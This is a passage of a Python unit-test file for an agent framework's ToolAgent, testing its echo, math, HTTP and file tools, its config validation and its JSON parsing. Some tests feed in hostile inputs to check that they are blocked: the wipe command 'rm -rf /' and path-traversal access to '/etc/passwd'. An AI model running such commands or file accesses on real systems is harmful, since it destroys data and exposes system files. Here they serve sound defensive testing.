forked from cleveragents/cleveragents-core
1083 lines
42 KiB
Python
1083 lines
42 KiB
Python
"""
|
|
Unit tests for agents/tool.py
|
|
|
|
Tests the ToolAgent class and its built-in tools.
|
|
"""
|
|
|
|
import pytest
|
|
from unittest.mock import Mock, patch, AsyncMock, mock_open
|
|
|
|
from cleveragents.agents.tool import ToolAgent
|
|
from cleveragents.core.exceptions import AgentCreationError, ExecutionError
|
|
from cleveragents.templates.renderer import TemplateRenderer
|
|
|
|
|
|
class TestToolAgent:
|
|
"""Test suite for the ToolAgent class."""
|
|
|
|
@pytest.fixture
|
|
def template_renderer(self):
|
|
"""Create a basic template renderer."""
|
|
return TemplateRenderer()
|
|
|
|
@pytest.fixture
|
|
def simple_config(self):
|
|
"""Create a simple tool configuration."""
|
|
return {
|
|
"type": "tool",
|
|
"tools": ["echo", "math"],
|
|
}
|
|
|
|
def test_tool_agent_initialization(self, simple_config, template_renderer):
|
|
"""Test ToolAgent initialization."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
|
|
assert agent.name == "test_tool"
|
|
assert agent.tools == ["echo", "math"]
|
|
assert agent.allow_shell is False
|
|
assert agent.safe_mode is True
|
|
assert agent.timeout == 1
|
|
|
|
def test_tool_agent_initialization_with_options(self, template_renderer):
|
|
"""Test ToolAgent initialization with custom options."""
|
|
config = {
|
|
"type": "tool",
|
|
"tools": ["echo"],
|
|
"allow_shell": True,
|
|
"safe_mode": False,
|
|
"timeout": 5,
|
|
}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
assert agent.allow_shell is True
|
|
assert agent.safe_mode is False
|
|
assert agent.timeout == 5
|
|
|
|
def test_tool_agent_unknown_tool_without_shell(self, template_renderer):
|
|
"""Test that unknown tool without shell raises error."""
|
|
config = {
|
|
"type": "tool",
|
|
"tools": ["unknown_tool"],
|
|
"allow_shell": False,
|
|
}
|
|
|
|
with pytest.raises(AgentCreationError) as exc_info:
|
|
ToolAgent("test_tool", config, template_renderer)
|
|
|
|
assert "unknown_tool" in str(exc_info.value)
|
|
assert "shell execution disabled" in str(exc_info.value)
|
|
|
|
def test_tool_agent_dict_tool_config(self, template_renderer):
|
|
"""Test tool configuration with dictionary."""
|
|
config = {
|
|
"type": "tool",
|
|
"tools": [{"name": "echo", "param": "value"}],
|
|
}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
assert len(agent.tools) == 1
|
|
|
|
def test_tool_agent_invalid_tool_config(self, template_renderer):
|
|
"""Test that invalid tool config raises error."""
|
|
config = {
|
|
"type": "tool",
|
|
"tools": [{"missing_name": "value"}],
|
|
}
|
|
|
|
with pytest.raises(AgentCreationError) as exc_info:
|
|
ToolAgent("test_tool", config, template_renderer)
|
|
|
|
assert "must include 'name'" in str(exc_info.value)
|
|
|
|
def test_tool_agent_invalid_tool_type(self, template_renderer):
|
|
"""Test that invalid tool type raises error."""
|
|
config = {
|
|
"type": "tool",
|
|
"tools": [123], # Invalid type
|
|
}
|
|
|
|
with pytest.raises(AgentCreationError) as exc_info:
|
|
ToolAgent("test_tool", config, template_renderer)
|
|
|
|
assert "Invalid tool configuration" in str(exc_info.value)
|
|
|
|
def test_extract_json_from_message_simple(self, simple_config, template_renderer):
|
|
"""Test extracting JSON from a simple JSON message."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
message = '{"tool": "echo", "args": {"text": "hello"}}'
|
|
|
|
result = agent._extract_json_from_message(message)
|
|
|
|
assert result == {"tool": "echo", "args": {"text": "hello"}}
|
|
|
|
def test_extract_json_from_markdown_code_block(self, simple_config, template_renderer):
|
|
"""Test extracting JSON from markdown code block."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
message = '```json\n{"tool": "echo"}\n```'
|
|
|
|
result = agent._extract_json_from_message(message)
|
|
|
|
assert result == {"tool": "echo"}
|
|
|
|
def test_extract_json_from_text_with_json(self, simple_config, template_renderer):
|
|
"""Test extracting JSON embedded in text."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
message = 'Here is the tool request: {"tool": "math", "expression": "2+2"}'
|
|
|
|
result = agent._extract_json_from_message(message)
|
|
|
|
assert result is not None
|
|
assert "tool" in result
|
|
|
|
def test_extract_json_returns_none_for_non_json(self, simple_config, template_renderer):
|
|
"""Test that non-JSON returns None."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
message = "This is just plain text"
|
|
|
|
result = agent._extract_json_from_message(message)
|
|
|
|
assert result is None
|
|
|
|
def test_extract_json_invalid_json_raises_error(self, simple_config, template_renderer):
|
|
"""Test that invalid JSON returns None (caught internally)."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
message = '{"tool": "echo", invalid}'
|
|
|
|
# Invalid JSON is caught internally and returns None
|
|
result = agent._extract_json_from_message(message)
|
|
assert result is None
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_echo_tool(self, simple_config, template_renderer):
|
|
"""Test the echo tool."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
|
|
result = await agent._echo_tool({"text": "Hello World"}, None)
|
|
|
|
assert result == "Hello World"
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_echo_tool_with_args(self, simple_config, template_renderer):
|
|
"""Test echo tool with args array."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
|
|
result = await agent._echo_tool({"args": ["Hello", "World"]}, None)
|
|
|
|
assert result == "Hello World"
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_math_tool_simple(self, simple_config, template_renderer):
|
|
"""Test the math tool with simple expression."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
|
|
result = await agent._math_tool({"expression": "2 + 2"}, None)
|
|
|
|
assert result == "4"
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_math_tool_with_args(self, simple_config, template_renderer):
|
|
"""Test math tool with args array."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
|
|
result = await agent._math_tool({"args": ["10 * 5"]}, None)
|
|
|
|
assert result == "50"
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_math_tool_no_expression(self, simple_config, template_renderer):
|
|
"""Test math tool without expression raises error."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError) as exc_info:
|
|
await agent._math_tool({}, None)
|
|
|
|
assert "requires an expression" in str(exc_info.value)
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_math_tool_invalid_expression(self, simple_config, template_renderer):
|
|
"""Test math tool with invalid expression."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError) as exc_info:
|
|
await agent._math_tool({"expression": "import os"}, None)
|
|
|
|
assert "Math evaluation failed" in str(exc_info.value)
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_json_parse_tool(self, template_renderer):
|
|
"""Test the JSON parse tool."""
|
|
config = {"type": "tool", "tools": ["json_parse"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
result = await agent._json_parse_tool({"json": '{"key": "value"}'}, None)
|
|
|
|
assert '"key": "value"' in result
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_json_parse_tool_invalid_json(self, template_renderer):
|
|
"""Test JSON parse tool with invalid JSON."""
|
|
config = {"type": "tool", "tools": ["json_parse"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError) as exc_info:
|
|
await agent._json_parse_tool({"json": '{invalid}'}, None)
|
|
|
|
assert "JSON parsing failed" in str(exc_info.value)
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_http_request_tool_get(self, template_renderer):
|
|
"""Test HTTP request tool with GET method - using real async context managers."""
|
|
config = {"type": "tool", "tools": ["http_request"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
# Create an async context manager mock for response
|
|
class AsyncContextManagerMock:
|
|
def __init__(self, return_value):
|
|
self.return_value = return_value
|
|
|
|
async def __aenter__(self):
|
|
return self.return_value
|
|
|
|
async def __aexit__(self, *args):
|
|
return None
|
|
|
|
# Create mock response
|
|
mock_response = Mock()
|
|
mock_response.status = 200
|
|
mock_response.text = AsyncMock(return_value="Response content")
|
|
|
|
# Create async session mock
|
|
class AsyncSessionMock:
|
|
def request(self, method, url, **kwargs):
|
|
return AsyncContextManagerMock(mock_response)
|
|
|
|
async def __aenter__(self):
|
|
return self
|
|
|
|
async def __aexit__(self, *args):
|
|
return None
|
|
|
|
with patch('aiohttp.ClientSession', return_value=AsyncSessionMock()):
|
|
result = await agent._http_request_tool({"url": "http://example.com"}, None)
|
|
|
|
assert "Status: 200" in result
|
|
assert "Response content" in result
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_http_request_tool_no_url(self, template_renderer):
|
|
"""Test HTTP request tool without URL raises error."""
|
|
config = {"type": "tool", "tools": ["http_request"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError) as exc_info:
|
|
await agent._http_request_tool({}, None)
|
|
|
|
assert "requires a URL" in str(exc_info.value)
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_file_read_tool(self, template_renderer):
|
|
"""Test file read tool."""
|
|
config = {"type": "tool", "tools": ["file_read"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
mock_content = "File content here"
|
|
with patch("builtins.open", mock_open(read_data=mock_content)):
|
|
result = await agent._file_read_tool({"file": "test.txt"}, None)
|
|
|
|
assert "File content here" in result
|
|
assert "FILE_READ_SUCCESS" in result
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_file_read_tool_no_file(self, template_renderer):
|
|
"""Test file read tool without file path raises error."""
|
|
config = {"type": "tool", "tools": ["file_read"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError) as exc_info:
|
|
await agent._file_read_tool({}, None)
|
|
|
|
assert "requires a file path" in str(exc_info.value)
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_file_read_tool_unsafe_path(self, template_renderer):
|
|
"""Test file read tool blocks unsafe paths in safe mode."""
|
|
config = {"type": "tool", "tools": ["file_read"], "safe_mode": True}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError) as exc_info:
|
|
await agent._file_read_tool({"file": "../etc/passwd"}, None)
|
|
|
|
assert "Unsafe file path" in str(exc_info.value)
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_file_write_tool_requires_unsafe_mode(self, template_renderer):
|
|
"""Test file write tool requires unsafe mode in context."""
|
|
config = {"type": "tool", "tools": ["file_write"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError) as exc_info:
|
|
await agent._file_write_tool(
|
|
{"file": "test.txt", "content": "Hello"},
|
|
None
|
|
)
|
|
|
|
assert "requires unsafe mode" in str(exc_info.value)
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_file_write_tool_write_mode(self, template_renderer):
|
|
"""Test file write tool in write mode."""
|
|
config = {"type": "tool", "tools": ["file_write"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with patch("builtins.open", mock_open()) as mock_file:
|
|
result = await agent._file_write_tool(
|
|
{"file": "test.txt", "content": "Hello", "mode": "w"},
|
|
{"_unsafe_mode": True}
|
|
)
|
|
|
|
assert "Successfully wrote" in result
|
|
mock_file.assert_called_with("test.txt", "w", encoding="utf-8")
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_file_write_tool_append_mode(self, template_renderer):
|
|
"""Test file write tool in append mode."""
|
|
config = {"type": "tool", "tools": ["file_write"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with patch("builtins.open", mock_open(read_data="existing\n")):
|
|
result = await agent._file_write_tool(
|
|
{"file": "test.txt", "content": "new", "mode": "a"},
|
|
{"_unsafe_mode": True}
|
|
)
|
|
|
|
assert "Successfully appended" in result
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_file_write_tool_invalid_mode(self, template_renderer):
|
|
"""Test file write tool with invalid mode."""
|
|
config = {"type": "tool", "tools": ["file_write"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError) as exc_info:
|
|
await agent._file_write_tool(
|
|
{"file": "test.txt", "content": "Hello", "mode": "invalid"},
|
|
{"_unsafe_mode": True}
|
|
)
|
|
|
|
assert "Invalid mode" in str(exc_info.value)
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_process_message_json_format(self, simple_config, template_renderer):
|
|
"""Test processing message with JSON format."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
message = '{"tool": "echo", "args": {"text": "test"}}'
|
|
|
|
result = await agent.process_message(message)
|
|
|
|
assert result == "test"
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_process_message_simple_format(self, simple_config, template_renderer):
|
|
"""Test processing message with simple format."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
message = "echo hello world"
|
|
|
|
result = await agent.process_message(message)
|
|
|
|
assert "hello world" in result
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_process_message_tool_not_allowed(self, simple_config, template_renderer):
|
|
"""Test processing with tool not in allowed list."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
message = '{"tool": "unknown_tool"}'
|
|
|
|
with pytest.raises(ExecutionError) as exc_info:
|
|
await agent.process_message(message)
|
|
|
|
assert "not in allowed tools list" in str(exc_info.value)
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_process_message_empty(self, simple_config, template_renderer):
|
|
"""Test processing empty message raises error."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError) as exc_info:
|
|
await agent.process_message("")
|
|
|
|
assert "Empty tool request" in str(exc_info.value)
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_execute_shell_command_disabled(self, simple_config, template_renderer):
|
|
"""Test shell command execution when disabled."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError) as exc_info:
|
|
await agent._execute_tool("ls", {}, None)
|
|
|
|
# Tool not in allowed list, so error is about that
|
|
assert "not in allowed tools list" in str(exc_info.value)
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_execute_shell_command_dangerous_blocked(self, template_renderer):
|
|
"""Test that dangerous commands are blocked in safe mode."""
|
|
config = {"type": "tool", "tools": ["rm"], "allow_shell": True, "safe_mode": True}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError) as exc_info:
|
|
await agent._execute_shell_command("rm", {"args": ["-rf", "/"]})
|
|
|
|
assert "Dangerous command" in str(exc_info.value)
|
|
assert "blocked in safe mode" in str(exc_info.value)
|
|
|
|
def test_get_capabilities_basic(self, simple_config, template_renderer):
|
|
"""Test getting basic capabilities."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
capabilities = agent.get_capabilities()
|
|
|
|
assert "tool-execution" in capabilities
|
|
assert "command-execution" in capabilities
|
|
|
|
def test_get_capabilities_with_http(self, template_renderer):
|
|
"""Test capabilities with HTTP tool."""
|
|
config = {"type": "tool", "tools": ["http_request"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
capabilities = agent.get_capabilities()
|
|
|
|
assert "http-requests" in capabilities
|
|
|
|
def test_get_capabilities_with_file_operations(self, template_renderer):
|
|
"""Test capabilities with file tools."""
|
|
config = {"type": "tool", "tools": ["file_read", "file_write"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
capabilities = agent.get_capabilities()
|
|
|
|
assert "file-operations" in capabilities
|
|
|
|
def test_get_capabilities_with_math(self, simple_config, template_renderer):
|
|
"""Test capabilities with math tool."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
capabilities = agent.get_capabilities()
|
|
|
|
assert "math-evaluation" in capabilities
|
|
|
|
def test_get_metadata(self, simple_config, template_renderer):
|
|
"""Test getting tool agent metadata."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
metadata = agent.get_metadata()
|
|
|
|
assert metadata["name"] == "test_tool"
|
|
assert "tools" in metadata
|
|
assert "allow_shell" in metadata
|
|
assert "safe_mode" in metadata
|
|
assert "timeout" in metadata
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_validate_file_write_args_missing_file(self, template_renderer):
|
|
"""Test file write validation with missing file."""
|
|
config = {"type": "tool", "tools": ["file_write"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError):
|
|
agent._validate_file_write_args("", "content")
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_validate_file_write_args_missing_content(self, template_renderer):
|
|
"""Test file write validation with missing content."""
|
|
config = {"type": "tool", "tools": ["file_write"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError):
|
|
agent._validate_file_write_args("file.txt", "")
|
|
|
|
def test_validate_file_path_safety_traversal(self, template_renderer):
|
|
"""Test file path validation blocks traversal."""
|
|
config = {"type": "tool", "tools": ["file_read"], "safe_mode": True}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError) as exc_info:
|
|
agent._validate_file_path_safety("../etc/passwd", False)
|
|
|
|
assert "Unsafe file path" in str(exc_info.value)
|
|
|
|
def test_validate_file_path_safety_absolute(self, template_renderer):
|
|
"""Test file path validation blocks absolute paths."""
|
|
config = {"type": "tool", "tools": ["file_read"], "safe_mode": True}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError):
|
|
agent._validate_file_path_safety("/etc/passwd", False)
|
|
|
|
def test_validate_file_path_safety_absolute_with_unsafe_mode(self, template_renderer):
|
|
"""Test file path validation allows absolute paths in unsafe mode."""
|
|
config = {"type": "tool", "tools": ["file_read"], "safe_mode": True}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
# Should not raise with unsafe mode
|
|
agent._validate_file_path_safety("/path/to/file", True)
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_file_write_insert_mode_end(self, template_renderer):
|
|
"""Test file write with insert mode at end."""
|
|
config = {"type": "tool", "tools": ["file_write"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with patch("builtins.open", mock_open(read_data="line1\nline2\n")):
|
|
result = await agent._file_write_tool(
|
|
{"file": "test.txt", "content": "line3", "mode": "insert", "position": "end"},
|
|
{"_unsafe_mode": True}
|
|
)
|
|
|
|
assert "Successfully inserted" in result
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_file_write_insert_mode_start(self, template_renderer):
|
|
"""Test file write with insert mode at start."""
|
|
config = {"type": "tool", "tools": ["file_write"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with patch("builtins.open", mock_open(read_data="line2\nline3\n")):
|
|
result = await agent._file_write_tool(
|
|
{"file": "test.txt", "content": "line1", "mode": "insert", "position": "start"},
|
|
{"_unsafe_mode": True}
|
|
)
|
|
|
|
assert "Successfully inserted" in result
|
|
assert "line 1" in result
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_file_write_insert_mode_line_number(self, template_renderer):
|
|
"""Test file write with insert mode at specific line number."""
|
|
config = {"type": "tool", "tools": ["file_write"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with patch("builtins.open", mock_open(read_data="line1\nline3\n")):
|
|
result = await agent._file_write_tool(
|
|
{"file": "test.txt", "content": "line2", "mode": "insert", "position": 2},
|
|
{"_unsafe_mode": True}
|
|
)
|
|
|
|
assert "Successfully inserted" in result
|
|
assert "line 2" in result
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_extract_json_from_code_block_without_json_tag(self, simple_config, template_renderer):
|
|
"""Test extracting JSON from code block without json tag."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
message = '```\n{"tool": "echo"}\n```'
|
|
|
|
result = agent._extract_json_from_message(message)
|
|
|
|
assert result == {"tool": "echo"}
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_extract_json_non_dict_returns_none(self, simple_config, template_renderer):
|
|
"""Test that non-dict JSON returns None."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
message = '["array", "of", "values"]'
|
|
|
|
result = agent._extract_json_from_message(message)
|
|
|
|
assert result is None
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_math_tool_complex_expression(self, simple_config, template_renderer):
|
|
"""Test math tool with complex expression."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
|
|
result = await agent._math_tool({"expression": "(10 + 5) * 2 - 8"}, None)
|
|
|
|
assert result == "22"
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_math_tool_with_functions(self, simple_config, template_renderer):
|
|
"""Test math tool with allowed functions."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
|
|
result = await agent._math_tool({"expression": "max(10, 20, 5)"}, None)
|
|
|
|
assert result == "20"
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_echo_tool_empty_text(self, simple_config, template_renderer):
|
|
"""Test echo tool with empty text."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
|
|
result = await agent._echo_tool({}, None)
|
|
|
|
assert result == ""
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_json_parse_tool_with_args(self, template_renderer):
|
|
"""Test JSON parse tool with args array."""
|
|
config = {"type": "tool", "tools": ["json_parse"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
result = await agent._json_parse_tool({"args": ['{"test": "data"}']}, None)
|
|
|
|
assert "test" in result
|
|
assert "data" in result
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_file_read_tool_with_args(self, template_renderer):
|
|
"""Test file read tool with args array."""
|
|
config = {"type": "tool", "tools": ["file_read"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with patch("builtins.open", mock_open(read_data="content")):
|
|
result = await agent._file_read_tool({"args": ["test.txt"]}, None)
|
|
|
|
assert "content" in result
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_file_read_absolute_path_with_unsafe_context(self, template_renderer):
|
|
"""Test file read allows absolute paths with unsafe context."""
|
|
config = {"type": "tool", "tools": ["file_read"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with patch("builtins.open", mock_open(read_data="content")):
|
|
result = await agent._file_read_tool(
|
|
{"file": "/tmp/test.txt"},
|
|
{"_unsafe_mode": True}
|
|
)
|
|
|
|
assert "content" in result
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_file_write_unsafe_path_blocked(self, template_renderer):
|
|
"""Test file write blocks unsafe paths."""
|
|
config = {"type": "tool", "tools": ["file_write"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError) as exc_info:
|
|
await agent._file_write_tool(
|
|
{"file": "../etc/passwd", "content": "bad"},
|
|
{"_unsafe_mode": True}
|
|
)
|
|
|
|
assert "Unsafe file path" in str(exc_info.value)
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_prepare_append_content_section(self, template_renderer):
|
|
"""Test prepare append content with section marker."""
|
|
config = {"type": "tool", "tools": ["file_write"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
# Content starting with # is treated as section
|
|
content = "# New Section"
|
|
|
|
with patch("builtins.open", mock_open(read_data="existing content")):
|
|
result = agent._prepare_append_content("test.txt", content)
|
|
|
|
# Should add spacing for sections
|
|
assert result.startswith("\n")
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_prepare_append_content_non_section(self, template_renderer):
|
|
"""Test prepare append content without section marker."""
|
|
config = {"type": "tool", "tools": ["file_write"]}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
# Content not starting with # is simple append
|
|
content = "simple text"
|
|
result = agent._prepare_append_content("test.txt", content)
|
|
|
|
# Should return content as-is
|
|
assert result == content
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_process_message_with_tool_name_and_args(self, simple_config, template_renderer):
|
|
"""Test processing message with tool name and args."""
|
|
agent = ToolAgent("test_tool", simple_config, template_renderer)
|
|
|
|
result = await agent.process_message("math 2+2")
|
|
|
|
assert "4" in result
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_execute_tool_dict_tool_config(self, template_renderer):
|
|
"""Test execute tool with dict-based tool config."""
|
|
config = {
|
|
"type": "tool",
|
|
"tools": [{"name": "echo", "description": "Echo tool"}],
|
|
}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
result = await agent._execute_tool("echo", {"text": "hello"}, None)
|
|
|
|
assert result == "hello"
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_get_capabilities_dict_tools(self, template_renderer):
|
|
"""Test capabilities with dict-based tools."""
|
|
config = {
|
|
"type": "tool",
|
|
"tools": [
|
|
{"name": "http_request"},
|
|
{"name": "file_read"},
|
|
{"name": "math"},
|
|
],
|
|
}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
capabilities = agent.get_capabilities()
|
|
|
|
assert "http-requests" in capabilities
|
|
assert "file-operations" in capabilities
|
|
assert "math-evaluation" in capabilities
|
|
|
|
def test_tool_agent_safe_mode_disabled(self, template_renderer):
|
|
"""Test tool agent with safe mode disabled."""
|
|
config = {"type": "tool", "tools": ["echo"], "safe_mode": False}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
assert agent.safe_mode is False
|
|
|
|
# Should allow unsafe paths when both safe_mode=False AND unsafe_mode=True
|
|
agent._validate_file_path_safety("../path", True) # Should not raise with unsafe_mode=True
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_extract_json_returns_none_for_non_dict_json(self, template_renderer):
|
|
"""Test that _extract_json_from_message returns None for non-dict JSON."""
|
|
agent = ToolAgent("test_tool", {"type": "tool", "tools": ["echo"]}, template_renderer)
|
|
|
|
# Test with array JSON (should return None)
|
|
result = agent._extract_json_from_message('[1, 2, 3]')
|
|
assert result is None
|
|
|
|
# Test with string JSON (should return None)
|
|
result = agent._extract_json_from_message('"just a string"')
|
|
assert result is None
|
|
|
|
# Test with number JSON (should return None)
|
|
result = agent._extract_json_from_message('42')
|
|
assert result is None
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_extract_json_from_code_block_with_non_dict(self, template_renderer):
|
|
"""Test extracting non-dict JSON from code blocks."""
|
|
agent = ToolAgent("test_tool", {"type": "tool", "tools": ["echo"]}, template_renderer)
|
|
|
|
# Array in code block
|
|
message = "```json\n[1, 2, 3]\n```"
|
|
result = agent._extract_json_from_message(message)
|
|
assert result is None
|
|
|
|
# String in code block
|
|
message = "```\n\"hello\"\n```"
|
|
result = agent._extract_json_from_message(message)
|
|
assert result is None
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_extract_json_with_invalid_json_like_content(self, template_renderer):
|
|
"""Test handling of invalid JSON-like content."""
|
|
agent = ToolAgent("test_tool", {"type": "tool", "tools": ["echo"]}, template_renderer)
|
|
|
|
# Looks like JSON but is invalid
|
|
message = "Here is some data: {invalid: json, missing: quotes}"
|
|
result = agent._extract_json_from_message(message)
|
|
assert result is None
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_process_message_with_unknown_tool(self, template_renderer):
|
|
"""Test processing message requesting unknown tool."""
|
|
agent = ToolAgent("test_tool", {"type": "tool", "tools": ["echo"]}, template_renderer)
|
|
|
|
# Request unknown tool - should raise ExecutionError
|
|
message = '{"tool": "unknown_tool", "args": {}}'
|
|
|
|
with pytest.raises(ExecutionError) as exc_info:
|
|
await agent.process_message(message)
|
|
|
|
assert "unknown_tool" in str(exc_info.value).lower() or "not in allowed" in str(exc_info.value).lower()
|
|
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_validate_tools_with_dict_config(self, template_renderer):
|
|
"""Test tool validation with dict-based tool config."""
|
|
config = {
|
|
"type": "tool",
|
|
"tools": [
|
|
{"name": "echo", "description": "Echo tool"},
|
|
{"name": "math", "enabled": True}
|
|
]
|
|
}
|
|
|
|
# Should not raise
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
assert agent is not None
|
|
|
|
|
|
class TestExtractJsonExtended:
|
|
"""Extended tests for _extract_json_from_message method."""
|
|
|
|
@pytest.fixture
|
|
def template_renderer(self):
|
|
"""Create a basic template renderer."""
|
|
return TemplateRenderer()
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_extract_json_starts_ends_with_braces_not_dict(self, template_renderer):
|
|
"""Test where message starts with {, ends with }, but parsed is not a dict."""
|
|
config = {"tools": ["echo"]} # Use builtin tool
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
# JSON array (not dict)
|
|
message = '["item1", "item2", "item3"]'
|
|
result = agent._extract_json_from_message(message)
|
|
|
|
# Should return None because it's not a dict
|
|
assert result is None
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_extract_json_code_block_with_array(self, template_renderer):
|
|
"""Test code block with JSON array (not dict)."""
|
|
config = {"tools": ["echo"]} # Use builtin tool
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
# Code block with array
|
|
message = '''```json
|
|
["item1", "item2", "item3"]
|
|
```'''
|
|
result = agent._extract_json_from_message(message)
|
|
|
|
# Should return None because it's not a dict
|
|
assert result is None
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_extract_json_pattern_match_not_dict(self, template_renderer):
|
|
